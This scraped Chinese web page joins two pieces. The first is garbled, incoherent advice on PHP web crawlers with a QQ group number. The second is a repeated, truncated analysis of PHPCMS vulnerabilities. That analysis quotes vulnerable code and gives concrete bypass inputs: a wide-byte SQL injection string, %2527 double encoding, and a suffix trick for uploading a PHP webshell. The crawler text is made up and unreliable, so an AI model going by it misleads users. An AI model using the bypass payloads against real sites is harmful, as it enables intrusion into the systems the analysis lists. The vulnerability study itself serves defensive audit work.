谢邀:1.爬虫很多种,如果题主没接触过那最好先从套接字出发2.爬虫需要学习一点点前端知识,具体用户画像请参考javascript相关知识,然后带有属性标签的信息就是数据了3.爬虫只需要在headers里放入目标的useragent就可以了,数据结构不变,变的是useragent。4.还有爬虫可以考虑先自己写几个小的,整合成一个规模小的,到时候学习维护也比较容易。
用数据库存点东西,写爬虫程序多麻烦5.可以自己装个iis之类的来跑起来,看看效果,如果前端实在搞不定就再换个程序员。6.成熟的爬虫服务比如ecshop,可以提供定制的robots协议,如果题主用过相关的服务,可以建议后台管理页面弄一个定制robots,这样更直观些。7.其实很多服务都很全,比如淘宝。8.最后,以后爬虫想做就做,别给这个圈子压力太大,还有“百度都可以做但你不能做”这种观念。
如果认准继续做爬虫,可以关注相关人员,多投递简历,如果想创业,建议从php开始,目前现在的情况php服务器什么的确实比较便宜,做起来容易。欢迎加入php爬虫qq群,群号:623118093。 查看全部
php抓取网页数据插入数据库项目地址:建议在linux环境下进行开发
php抓取网页数据插入数据库项目地址:建议在linux环境下进行开发,ide推荐phpstorm和webstorm,安装phpstorm后可以免了安装数据库工具lnmp这一步。
这个php抓取网页是小型的爬虫,时长又比较短,你都直接用phpscrapy封装一个就可以,容易学,最好买视频教程,讲得好容易跟上,自己写代码这个太久远了,学习的时候可以看看3本书1。headfirstheadfirstjavascript权威指南这是讲javascript的2。headfirstjavascript这是讲headfirst本身原理的3。

scrapyscrapystartproject:buildselector3。3spiderforwebdomsecurity。
别配置了,这个类型直接从。
你放个jpg过来让我看看吗?不能手工刷点关键的信息吗?

没啥技术含量就拿log里的信息套着写
谢邀:1.爬虫很多种,如果题主没接触过那最好先从套接字出发2.爬虫需要学习一点点前端知识,具体用户画像请参考javascript相关知识,然后带有属性标签的信息就是数据了3.爬虫只需要在headers里放入目标的useragent就可以了,数据结构不变,变的是useragent。4.还有爬虫可以考虑先自己写几个小的,整合成一个规模小的,到时候学习维护也比较容易。
用数据库存点东西,写爬虫程序多麻烦5.可以自己装个iis之类的来跑起来,看看效果,如果前端实在搞不定就再换个程序员。6.成熟的爬虫服务比如ecshop,可以提供定制的robots协议,如果题主用过相关的服务,可以建议后台管理页面弄一个定制robots,这样更直观些。7.其实很多服务都很全,比如淘宝。8.最后,以后爬虫想做就做,别给这个圈子压力太大,还有“百度都可以做但你不能做”这种观念。
如果认准继续做爬虫,可以关注相关人员,多投递简历,如果想创业,建议从php开始,目前现在的情况php服务器什么的确实比较便宜,做起来容易。欢迎加入php爬虫qq群,群号:623118093。
使用php抓取网页数据插入数据库的方法总结!!
网站优化 • 优采云 发表了文章 • 0 个评论 • 78 次浏览 • 2022-08-03 10:08
php抓取网页数据插入数据库是php开发的一个常见模式。要在不动动手的情况下将非结构化的数据转化为结构化的数据,这有着一定的难度。但是因为php只需要写一行代码,所以通过利用phpstorm这样的工具就可以轻松完成php抓取网页数据插入数据库的方法。下面我就总结下使用phpstorm将文本进行转化的模板。
1.下载phpstorm插件,不然打开网页文件和从代码页面会有莫名问题(这个我深有体会,比如我在打开常用的一些名片中文信息网站时,无法打开,我使用命令提示符netshwinsockreset之后sublimetext会将整个文件名都写入当前用户目录)。2.将网页文件或者php文件直接拖拽到软件内即可。
3.可以生成报告里的3d数据库表。4.可以支持正则表达式和图片文件,都是php写的。5.下次写blog的时候可以把上次没有打开的文件再次发出来。欢迎fans。
每当我都会被那个xx软件给坑,在我当时打开一个wordpress网站时,请求头加上那个xx,然后大到整个对数据库的数据量大到目标域名服务器拦截不到,小到你这个content目录下需要存储多少东西都可以通过xx处理。我会告诉你我还试着通过他们的自助工具下载了半天不停点击那个按钮的吗?我已经不是单纯的用php获取数据了,我是用php完成全部任务。
还有http_request_response的话,请求的时候自带有一个localcache缓存的地方可以存放,我这边拿他举例子,你告诉他用php下载个什么东西,他直接启动自己那个工具,大不了就是给你加上那个jscssjpg.至于传统wordpress,他说他可以自动识别(yeah),但如果你真的真的要写代码,大胆试着看看下面我要介绍的吧,相比于你在php里面写,不用多说,来我给你介绍一些抓取的技巧吧。
我的logicalimage就在我这里,你下载之后不说download,直接copy。可以抓取很多网站。使用curl库来进行包含cookie/session的数据抓取(比如类似木马软件/广告过滤器)mysqldatabase/jdbcstubclientforphp抓取整站。我使用header记录你的头部信息。
可以在很大程度上避免其他人抓取你的数据,比如给第三方账号发消息封号。#@黄铜的网站抓取脚本代码:installthewordpressphp-ftpspidersandjoindownloader@黄铜request.jsonfromftp.php_navigate('/');ifnotisaccessthenfail@黄铜fromdownload.json;i。 查看全部
使用php抓取网页数据插入数据库的方法总结!!
php抓取网页数据插入数据库是php开发的一个常见模式。要在不动动手的情况下将非结构化的数据转化为结构化的数据,这有着一定的难度。但是因为php只需要写一行代码,所以通过利用phpstorm这样的工具就可以轻松完成php抓取网页数据插入数据库的方法。下面我就总结下使用phpstorm将文本进行转化的模板。
1.下载phpstorm插件,不然打开网页文件和从代码页面会有莫名问题(这个我深有体会,比如我在打开常用的一些名片中文信息网站时,无法打开,我使用命令提示符netshwinsockreset之后sublimetext会将整个文件名都写入当前用户目录)。2.将网页文件或者php文件直接拖拽到软件内即可。

3.可以生成报告里的3d数据库表。4.可以支持正则表达式和图片文件,都是php写的。5.下次写blog的时候可以把上次没有打开的文件再次发出来。欢迎fans。
每当我都会被那个xx软件给坑,在我当时打开一个wordpress网站时,请求头加上那个xx,然后大到整个对数据库的数据量大到目标域名服务器拦截不到,小到你这个content目录下需要存储多少东西都可以通过xx处理。我会告诉你我还试着通过他们的自助工具下载了半天不停点击那个按钮的吗?我已经不是单纯的用php获取数据了,我是用php完成全部任务。

还有http_request_response的话,请求的时候自带有一个localcache缓存的地方可以存放,我这边拿他举例子,你告诉他用php下载个什么东西,他直接启动自己那个工具,大不了就是给你加上那个jscssjpg.至于传统wordpress,他说他可以自动识别(yeah),但如果你真的真的要写代码,大胆试着看看下面我要介绍的吧,相比于你在php里面写,不用多说,来我给你介绍一些抓取的技巧吧。
我的logicalimage就在我这里,你下载之后不说download,直接copy。可以抓取很多网站。使用curl库来进行包含cookie/session的数据抓取(比如类似木马软件/广告过滤器)mysqldatabase/jdbcstubclientforphp抓取整站。我使用header记录你的头部信息。
可以在很大程度上避免其他人抓取你的数据,比如给第三方账号发消息封号。#@黄铜的网站抓取脚本代码:installthewordpressphp-ftpspidersandjoindownloader@黄铜request.jsonfromftp.php_navigate('/');ifnotisaccessthenfail@黄铜fromdownload.json;i。
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
网站优化 • 优采云 发表了文章 • 0 个评论 • 125 次浏览 • 2022-07-15 09:14
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS 查看全部
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:

第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");

}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
